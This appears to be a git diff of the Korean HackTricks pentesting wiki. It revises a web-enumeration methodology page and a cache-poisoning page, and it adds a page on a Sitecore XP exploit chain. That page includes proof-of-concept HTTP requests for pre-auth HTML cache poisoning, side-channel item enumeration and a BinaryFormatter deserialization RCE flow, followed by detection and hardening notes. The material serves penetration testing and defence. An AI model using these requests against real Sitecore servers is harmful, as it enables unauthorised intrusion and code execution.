- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js import 기반으로 기능이 중복된 URL을 제거합니다.
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): wapalyzer를 사용해 사용 기술을 감지하고 적절한 워드리스트를 선택합니다.
|
||||
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
- [**uro**](https://github.com/s0md3v/uro) (python): 발견된 URL 목록을 입력하면 "중복" URL을 제거하는 도구입니다.
|
||||
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp 히스토리에서 여러 페이지의 디렉터리 목록을 생성하는 Burp Extension입니다.
|
||||
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js 임포트를 기반으로 중복 기능을 가진 URL을 제거합니다.
|
||||
- [**Chamaleon**](https://github.com/iustin24/chameleon): Wappalyzer를 사용하여 사용된 기술을 감지하고 적절한 워드리스트를 선택합니다.
|
||||
|
||||
**Recommended dictionaries:**
|
||||
추천 워드리스트:
|
||||
|
||||
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
|
||||
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
|
||||
@ -268,41 +269,41 @@ SSL/TLS 취약점 정보:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_새 디렉터리가 brute-forcing이나 spidering 중에 발견되면, 언제나 해당 디렉터리는 Brute-Force 해야 합니다._
|
||||
_새 디렉터리가 brute-forcing 또는 spidering 중에 발견되면, 언제나 해당 디렉터리를 Brute-Force해야 합니다._
|
||||
|
||||
### What to check on each file found
|
||||
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML 내의 깨진 링크를 찾아 takeover 가능성을 탐지합니다.
|
||||
- **File Backups**: 모든 파일을 찾은 후, 실행 가능한 파일의 백업 파일을 찾아보세요 ("_.php_", "_.aspx_" 등). 백업 이름의 일반적인 변형은: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 도구 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**을 사용할 수 있습니다.**
|
||||
- **Discover new parameters**: 숨겨진 파라미터를 발견하기 위해 [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner)를 사용할 수 있습니다. 가능하다면 각 실행 가능한 웹 파일에서 숨겨진 파라미터를 찾아보세요.
|
||||
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML 내부의 끊어진 링크를 찾아 takeover에 취약할 수 있는지를 확인합니다.
|
||||
- **File Backups**: 모든 파일을 찾은 후에는 실행 파일의 백업(예: "_.php_", "_.aspx_" ...)을 찾아보세요. 백업 이름의 흔한 변형에는 _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp, file.old_ 등이 있습니다. 도구 [**bfac**](https://github.com/mazen160/bfac) 또는 [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)을 사용할 수도 있습니다.
|
||||
- **Discover new parameters**: 숨겨진 파라미터를 발견하려면 [**Arjun**](https://github.com/s0md3v/Arjun), [**parameth**](https://github.com/maK-/parameth), [**x8**](https://github.com/sh1yo/x8) 및 [**Param Miner**](https://github.com/PortSwigger/param-miner) 같은 도구를 사용할 수 있습니다. 가능하다면 각 실행 가능한 웹 파일에서 숨겨진 파라미터를 찾아보세요.
|
||||
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
|
||||
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Comments:** 모든 파일의 주석을 확인하세요. 종종 **credentials**나 **hidden functionality**가 발견됩니다.
|
||||
- CTF를 진행하는 경우, 흔한 트릭은 페이지 소스의 오른쪽에 수백 개의 공백을 넣어 브라우저로 소스 코드만 열면 보이지 않게 하거나 여러 개의 줄바꿈을 넣고 페이지 하단의 주석에 정보를 숨기는 것입니다.
|
||||
- **API keys**: API 키를 찾으면 다양한 플랫폼의 API 키 사용 방법을 안내하는 프로젝트들이 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: **AIza**로 시작하는 키처럼 보이는 API 키를 찾으면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용해 해당 키가 접근 가능한 API를 확인할 수 있습니다.
|
||||
- **S3 Buckets**: spidering 중에 어떤 **subdomain**이나 **link**가 S3 버킷과 관련이 있는지 확인하세요. 그런 경우, [**check** the **permissions** of the bucket](buckets/index.html).
|
||||
- **Comments:** 모든 파일의 주석을 확인하세요. 주석에서 **credentials**나 숨겨진 기능을 찾을 수 있습니다.
|
||||
- CTF를 진행 중이라면 흔한 트릭으로 페이지 소스 우측에 수백 개의 공백을 넣어 주석에 정보를 숨기거나 여러 개의 줄바꿈을 사용해 페이지 하단의 주석에 정보를 숨기는 방식이 있습니다.
|
||||
- **API keys**: API 키를 발견하면 다양한 플랫폼의 API 키 사용법을 확인할 수 있는 가이드들이 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks), [**zile**](https://github.com/xyele/zile.git), [**truffleHog**](https://github.com/trufflesecurity/truffleHog), [**SecretFinder**](https://github.com/m4ll0k/SecretFinder), [**RegHex**](<https://github.com/l4yton/RegHex)/>), [**DumpsterDive**](https://github.com/securing/DumpsterDiver), [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API keys: **AIza**로 시작하는 API 키(예: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik)를 발견하면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용해 해당 키로 접근 가능한 API를 확인할 수 있습니다.
|
||||
- **S3 Buckets**: spidering 중 하위 도메인이나 링크가 S3 버킷과 관련되어 있는지 확인하세요. 그런 경우 [**check** the **permissions** of the bucket](buckets/index.html).
|
||||
|
||||
### Special findings
|
||||
|
||||
**spidering**과 **brute-forcing**을 수행하면서 주목해야 할 **흥미로운** **사항들**을 발견할 수 있습니다.
|
||||
**spidering**과 **brute-forcing**을 수행하는 동안 **주의해야 할 흥미로운 항목**을 발견할 수 있습니다.
|
||||
|
||||
**Interesting files**
|
||||
|
||||
- CSS 파일에서 다른 파일로의 **links**를 찾아보세요.
|
||||
- CSS 파일 내부의 다른 파일로의 **links**를 찾아보세요.
|
||||
- [If you find a _**.git**_ file some information can be extracted](git.md)
|
||||
- _**.env**_ 파일을 찾으면 API 키, DB 비밀번호 등과 같은 정보가 발견될 수 있습니다.
|
||||
- **API endpoints**를 찾으면 [should also test them](web-api-pentesting.md). 이들은 파일은 아니지만 파일처럼 보일 수 있습니다.
|
||||
- **JS files**: spidering 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구를 언급했습니다. 또한 발견된 각 JS 파일을 모니터링하는 것이 흥미로울 수 있습니다. 경우에 따라 코드 변경은 잠재적 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)을 사용할 수 있습니다.
|
||||
- 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 점검해 취약한 라이브러리가 있는지 확인하세요.
|
||||
- _**.env**_ 파일을 찾으면 API 키, DB 비밀번호 등 다양한 정보가 포함되어 있을 수 있습니다.
|
||||
- **API endpoints**를 찾으면 [should also test them](web-api-pentesting.md). 이들은 파일이 아니지만 파일처럼 보일 수 있습니다.
|
||||
- **JS files**: spidering 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구를 언급했습니다. 또한 발견된 각 JS 파일을 모니터링하는 것이 좋습니다. 경우에 따라 파일 변경은 잠재적 취약점이 코드에 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)을 사용할 수 있습니다.
|
||||
- 발견한 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 검사해 취약성이 있는지 확인하세요.
|
||||
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- 여러 경우에 정규식을 이해해야 할 필요가 있습니다. 다음 사이트가 유용합니다: [https://regex101.com/](https://regex101.com) 또는 [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- 또한 폼이 감지된 파일들을 모니터링하세요. 파라미터의 변경이나 새 폼의 등장은 잠재적 취약 기능이 추가되었음을 나타낼 수 있습니다.
|
||||
- **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- 정규식을 이해해야 하는 경우가 자주 있으므로 다음이 유용합니다: [https://regex101.com/](https://regex101.com) 또는 [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- 폼이 감지된 파일들을 모니터링하는 것도 유용합니다. 파라미터 변경이나 새로운 폼의 등장 등은 잠재적으로 새로운 취약 기능이 생겼음을 나타낼 수 있습니다.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
@ -313,21 +314,21 @@ _새 디렉터리가 brute-forcing이나 spidering 중에 발견되면, 언제
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
어떤 페이지가 이 코드로 응답하면 잘못 구성된 프록시일 가능성이 큽니다. **`GET https://google.com HTTP/1.1`** 같은 HTTP 요청을 보내면(Host 헤더 및 다른 일반 헤더 포함), 프록시는 _**google.com**_에 접근을 시도하고 SSRF를 발견할 수 있습니다.
|
||||
페이지가 해당 코드로 응답하면 잘못 구성된 프록시일 가능성이 큽니다. `GET https://google.com HTTP/1.1` 같은 HTTP 요청을 보내면(Host 헤더 및 기타 일반 헤더 포함), 프록시는 _**google.com**_에 접근을 시도하고 SSRF를 발견할 수 있습니다.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
실행 중인 서버가 **Windows**를 요구하거나 로그인에서 **domain** **name**을 요구하는 경우 정보 노출을 유도할 수 있습니다.\
|
||||
다음 헤더를 전송하세요: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그러면 NTLM 인증 방식 때문에 서버는 "WWW-Authenticate" 헤더 안에 내부 정보(IIS 버전, Windows 버전 등)를 반환합니다.\
|
||||
서버가 인증을 요청하고 해당 서버가 **Windows**이거나 도메인 이름을 묻는 로그인 화면을 발견하면 정보 노출을 유도할 수 있습니다.
|
||||
헤더로 `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`를 보내면 NTLM 인증 동작 방식 때문에 서버가 "WWW-Authenticate" 헤더에 내부 정보(IIS 버전, Windows 버전 등)를 응답으로 포함할 수 있습니다.
|
||||
이를 자동화하려면 nmap 플러그인 "_http-ntlm-info.nse_"를 사용할 수 있습니다.
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
리디렉션 내에 콘텐츠를 넣을 수 있습니다. 이 콘텐츠는 브라우저가 리디렉션을 수행하기 때문에 사용자에게는 표시되지 않지만, 그 안에 무언가를 숨길 수 있습니다.
|
||||
리디렉션 안에 콘텐츠를 넣을 수 있습니다. 이 콘텐츠는 브라우저가 리디렉션을 실행하므로 사용자에게는 표시되지 않지만, 그 안에 무언가를 숨길 수 있습니다.
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
웹 애플리케이션에 대한 포괄적인 열거가 완료되었으면 이제 가능한 많은 취약점을 점검할 시간입니다. 체크리스트는 다음에서 찾을 수 있습니다:
|
||||
웹 애플리케이션에 대한 포괄적인 열거가 완료되면 많은 가능한 취약점을 검사할 차례입니다. 체크리스트는 다음에서 확인하세요:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -342,7 +343,7 @@ _새 디렉터리가 brute-forcing이나 spidering 중에 발견되면, 언제
|
||||
|
||||
### Monitor Pages for changes
|
||||
|
||||
페이지 변경 사항을 모니터링하여 취약점이 삽입되었는지 확인하려면 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)와 같은 도구를 사용할 수 있습니다.
|
||||
페이지 변경을 모니터링하여 취약점이 추가되는지를 확인하려면 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) 같은 도구를 사용할 수 있습니다.
|
||||
|
||||
### HackTricks Automatic Commands
|
||||
```
|
||||
|
@ -0,0 +1,194 @@
|
||||
# Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
이 페이지는 Sitecore XP 10.4.1에 대한 실용적인 공격 체인을 요약합니다. 이 체인은 pre‑auth XAML handler에서 HTML cache poisoning으로 전환하고, 인증된 UI 흐름을 통해 BinaryFormatter deserialization을 이용한 RCE로 이어집니다. 이 기법들은 유사한 Sitecore 버전/컴포넌트에 일반화되며 테스트, 탐지 및 보완을 위한 구체적인 프리미티브를 제공합니다.
|
||||
|
||||
- 영향 대상 제품(테스트): Sitecore XP 10.4.1 rev. 011628
|
||||
- 수정 버전(패치): KB1003667, KB1003734 (June/July 2025)
|
||||
|
||||
참고:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/cache-deception/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/deserialization/README.md
|
||||
{{#endref}}
|
||||
|
||||
## Pre‑auth primitive: XAML Ajax reflection → HtmlCache write
|
||||
|
||||
진입점은 web.config에 등록된 pre‑auth XAML handler입니다:
|
||||
```xml
|
||||
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />
|
||||
```
|
||||
다음을 통해 접근 가능:
|
||||
```
|
||||
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
|
||||
```
|
||||
컨트롤 트리에는 AjaxScriptManager가 포함되어 있으며, 이벤트 요청 시 공격자가 제어하는 필드를 읽어 대상 컨트롤의 메서드를 리플렉션으로 호출합니다:
|
||||
```csharp
|
||||
// AjaxScriptManager.OnPreRender
|
||||
string clientId = page.Request.Form["__SOURCE"]; // target control
|
||||
string text = page.Request.Form["__PARAMETERS"]; // Method("arg1", "arg2")
|
||||
...
|
||||
Dispatch(clientId, text);
|
||||
|
||||
// eventually → DispatchMethod(control, parameters)
|
||||
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
|
||||
if (m != null) m.Invoke(this, e.Parameters);
|
||||
|
||||
// Alternate branch for XML-based controls
|
||||
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
|
||||
```
|
||||
핵심 관찰: XAML 페이지에는 XmlControl 인스턴스(xmlcontrol:GlobalHeader)가 포함되어 있다. Sitecore.XmlControls.XmlControl는 Sitecore.Web.UI.WebControl(사이트코어 클래스)에서 파생되며, ReflectionUtil.Filter allow‑list (Sitecore.*)를 통과하여 Sitecore WebControl의 메서드를 사용할 수 있게 한다.
|
||||
|
||||
poisoning을 위한 매직 메서드:
|
||||
```csharp
|
||||
// Sitecore.Web.UI.WebControl
|
||||
protected virtual void AddToCache(string cacheKey, string html) {
|
||||
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
|
||||
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
|
||||
}
|
||||
```
|
||||
xmlcontrol:GlobalHeader를 대상으로 지정하고 Sitecore.Web.UI.WebControl 메서드를 이름으로 호출할 수 있기 때문에, pre‑auth 상태에서 임의의 HtmlCache write primitive를 얻을 수 있습니다.
|
||||
|
||||
### PoC 요청 (CVE-2025-53693)
|
||||
```
|
||||
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
|
||||
Host: target
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
노트:
|
||||
- __SOURCE는 Sitecore.Shell.Xaml.WebControl 내부의 xmlcontrol:GlobalHeader의 clientID입니다 (정적 XAML에서 유래하므로 보통 ctl00_ctl00_ctl05_ctl03처럼 안정적입니다).
|
||||
- __PARAMETERS 형식은 Method("arg1","arg2")입니다.
|
||||
|
||||
## What to poison: Cache key construction
|
||||
|
||||
Sitecore controls에서 사용되는 일반적인 HtmlCache 키 구성:
|
||||
```csharp
|
||||
public virtual string GetCacheKey(){
|
||||
SiteContext site = Sitecore.Context.Site;
|
||||
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
|
||||
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
|
||||
if (key.Length > 0){
|
||||
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
|
||||
if (this.VaryByData) k += ResolveDataKeyPart();
|
||||
if (this.VaryByDevice) k += "_#dev:" + Sitecore.Context.GetDeviceName();
|
||||
if (this.VaryByLogin) k += "_#login:" + Sitecore.Context.IsLoggedIn;
|
||||
if (this.VaryByUser) k += "_#user:" + Sitecore.Context.GetUserName();
|
||||
if (this.VaryByParm) k += "_#parm:" + this.Parameters;
|
||||
if (this.VaryByQueryString && site?.Request != null)
|
||||
k += "_#qs:" + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
|
||||
if (this.ClearOnIndexUpdate) k += "_#index";
|
||||
return k;
|
||||
}
|
||||
}
|
||||
return string.Empty;
|
||||
}
|
||||
```
|
||||
알려진 sublayout에 대한 예제 targeted poisoning:
|
||||
```
|
||||
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
## 캐시 가능한 항목 및 “vary by” 차원 열거
|
||||
|
||||
ItemService가 (잘못) 익명으로 노출된 경우, 캐시 가능한 컴포넌트를 열거하여 정확한 키를 도출할 수 있다.
|
||||
|
||||
빠른 탐색:
|
||||
```
|
||||
GET /sitecore/api/ssc/item
|
||||
// 404 Sitecore error body → exposed (anonymous)
|
||||
// 403 → blocked/auth required
|
||||
```
|
||||
캐시 가능한 항목 및 플래그 목록:
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
|
||||
```
|
||||
Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate 같은 필드를 찾아보세요. 디바이스 이름은 다음을 통해 열거할 수 있습니다:
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
|
||||
```
|
||||
### Side‑channel enumeration under restricted identities (CVE-2025-53694)
|
||||
|
||||
ItemService가 제한된 계정(예: ServicesAPI)으로 위임되어 빈 Results 배열을 반환하더라도, TotalCount는 여전히 pre‑ACL Solr hits를 반영할 수 있습니다. 와일드카드를 사용해 item groups/ids를 brute‑force하면 TotalCount가 수렴하며 내부 콘텐츠 및 장치를 매핑하는 것을 관찰할 수 있습니다:
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
|
||||
→ "TotalCount": 3
|
||||
GET /...term=%2B_templatename:Device;%2B_group:aa*
|
||||
→ "TotalCount": 2
|
||||
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
|
||||
→ narrow to a specific item
|
||||
```
|
||||
## 인증 후 RCE: convertToRuntimeHtml의 BinaryFormatter sink (CVE-2025-53691)
|
||||
|
||||
Sink:
|
||||
```csharp
|
||||
// Sitecore.Convert
|
||||
byte[] b = Convert.FromBase64String(data);
|
||||
return new BinaryFormatter().Deserialize(new MemoryStream(b));
|
||||
```
|
||||
Reachable via the convertToRuntimeHtml pipeline step ConvertWebControls, which looks for an element with id {iframeId}_inner and base64 decodes + deserializes it, then injects the resulting string into the HTML:
|
||||
```csharp
|
||||
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
|
||||
string text2 = inner?.GetAttributeValue("value", "");
|
||||
if (text2.Length > 0)
|
||||
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
|
||||
```
|
||||
트리거(인증된 상태, Content Editor 권한). FixHtml 대화상자가 convertToRuntimeHtml을 호출합니다. UI 클릭 없이 엔드투엔드:
|
||||
```
|
||||
// 1) Start Content Editor
|
||||
GET /sitecore/shell/Applications/Content%20Editor.aspx
|
||||
|
||||
// 2) Load malicious HTML into EditHtml session (XAML event)
|
||||
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
|
||||
<html>
|
||||
<iframe id="test" src="poc" value="poc"></iframe>
|
||||
<test id="test_inner" value="BASE64_GADGET"></test>
|
||||
</html>
|
||||
|
||||
// 3) Server returns a session handle (hdl) for FixHtml
|
||||
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}
|
||||
|
||||
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
|
||||
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
|
||||
```
|
||||
가젯 생성: ysoserial.net / YSoNet와 BinaryFormatter를 사용해 문자열을 반환하는 base64 페이로드를 생성한다. 해당 문자열의 내용은 deserialization 부작용이 실행된 후 ConvertWebControls에 의해 HTML에 기록된다.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
|
||||
{{#endref}}
|
||||
|
||||
## Complete chain
|
||||
|
||||
1) Pre‑auth 공격자가 XAML AjaxScriptManager를 통해 WebControl.AddToCache를 리플렉티브하게 호출하여 HtmlCache를 임의의 HTML로 오염시킨다.
|
||||
2) 오염된 HTML은 인증된 Content Editor 사용자를 FixHtml 흐름으로 유도하는 JavaScript를 제공한다.
|
||||
3) FixHtml 페이지는 convertToRuntimeHtml → ConvertWebControls를 트리거하며, 이 과정에서 BinaryFormatter를 통해 공격자가 제어하는 base64를 deserialization하여 Sitecore 앱 풀 식별자로 RCE가 발생한다.
|
||||
|
||||
## Detection
|
||||
|
||||
- Pre‑auth XAML: `/-/xaml/Sitecore.Shell.Xaml.WebControl`에 대한 요청에서 `__ISEVENT=1`, 의심스러운 `__SOURCE` 및 `__PARAMETERS=AddToCache(...)`.
|
||||
- ItemService probing: `/sitecore/api/ssc` 와일드카드 쿼리 급증, 빈 `Results`와 큰 `TotalCount`.
|
||||
- Deserialization attempts: `EditHtml.aspx` 다음에 `FixHtml.aspx?hdl=...` 호출 및 HTML 필드에 비정상적으로 큰 base64.
|
||||
|
||||
## Hardening
|
||||
|
||||
- Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit `/-/xaml/`.
|
||||
- BinaryFormatter 제거/대체; convertToRuntimeHtml 접근 제한 또는 HTML 편집 흐름에 대한 강력한 서버 측 검증 시행.
|
||||
- `/sitecore/api/ssc`를 loopback 또는 인증된 롤로만 제한; `TotalCount` 기반 side channels를 leak하는 impersonation 패턴을 피한다.
|
||||
- Content Editor 사용자에 대해 MFA/최소 권한 적용; cache poisoning으로 인한 JS 유도 영향을 줄이기 위해 CSP 검토.
|
||||
|
||||
## References
|
||||
|
||||
- [watchTowr Labs – Cache Me If You Can: Sitecore Experience Platform Cache Poisoning to RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
|
||||
- [Sitecore KB1003667 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003667)
|
||||
- [Sitecore KB1003734 – Security patch](https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1003734)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,132 +1,134 @@
|
||||
# 캐시 오염 및 캐시 기만
|
||||
# Cache Poisoning and Cache Deception
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 차이점
|
||||
## The difference
|
||||
|
||||
> **웹 캐시 오염과 웹 캐시 기만의 차이점은 무엇인가요?**
|
||||
> **What is the difference between web cache poisoning and web cache deception?**
|
||||
>
|
||||
> - **웹 캐시 오염**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하며, 이 콘텐츠는 캐시에서 다른 애플리케이션 사용자에게 제공됩니다.
|
||||
> - **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하며, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다.
|
||||
> - In **web cache poisoning**, 공격자는 애플리케이션이 일부 악성 콘텐츠를 cache에 저장하도록 만들고, 해당 콘텐츠가 cache에서 다른 애플리케이션 사용자들에게 제공됩니다.
|
||||
> - In **web cache deception**, 공격자는 다른 사용자의 민감한 콘텐츠가 cache에 저장되도록 유도한 다음, 공격자가 그 콘텐츠를 cache에서 회수합니다.
|
||||
|
||||
## 캐시 오염
|
||||
## Cache Poisoning
|
||||
|
||||
캐시 오염은 클라이언트 측 캐시를 조작하여 클라이언트가 예상치 못한, 부분적이거나 공격자가 제어하는 리소스를 로드하도록 강요하는 것을 목표로 합니다. 영향의 정도는 영향을 받는 페이지의 인기 여부에 따라 달라지며, 오염된 응답은 캐시 오염 기간 동안 페이지를 방문하는 사용자에게만 제공됩니다.
|
||||
Cache poisoning은 client-side cache를 조작해 클라이언트가 예기치 않은 자원, 부분적인 응답, 또는 공격자가 제어하는 자원을 로드하도록 강제하는 것을 목표로 합니다. 영향 범위는 해당 페이지의 인기(트래픽)에 따라 달라지며, 오염된 응답은 cache가 오염된 기간 동안 그 페이지를 방문하는 사용자들에게만 제공됩니다.
|
||||
|
||||
캐시 오염 공격의 실행에는 여러 단계가 포함됩니다:
|
||||
cache poisoning 공격의 수행은 몇 가지 단계로 이루어집니다:
|
||||
|
||||
1. **키가 없는 입력 식별**: 이는 요청이 캐시되기 위해 필요하지 않지만 서버가 반환하는 응답을 변경할 수 있는 매개변수입니다. 이러한 입력을 식별하는 것은 캐시를 조작하는 데 악용될 수 있으므로 중요합니다.
|
||||
2. **키가 없는 입력 악용**: 키가 없는 입력을 식별한 후, 다음 단계는 공격자에게 유리한 방식으로 서버의 응답을 수정하기 위해 이러한 매개변수를 잘못 사용하는 방법을 파악하는 것입니다.
|
||||
3. **오염된 응답이 캐시되도록 보장**: 마지막 단계는 조작된 응답이 캐시에 저장되도록 보장하는 것입니다. 이렇게 하면 캐시가 오염된 동안 영향을 받는 페이지에 접근하는 모든 사용자가 오염된 응답을 받게 됩니다.
|
||||
1. **Identification of Unkeyed Inputs**: 요청이 캐시되기 위해 필수적이지 않더라도 서버가 반환하는 응답을 변경할 수 있는 파라미터들입니다. 이러한 입력을 식별하는 것은 cache를 조작하기 위해 매우 중요합니다.
|
||||
2. **Exploitation of the Unkeyed Inputs**: unkeyed inputs를 식별한 후, 공격자에게 유리하도록 서버의 응답을 변경하기 위해 이러한 파라미터들을 어떻게 악용할지 파악합니다.
|
||||
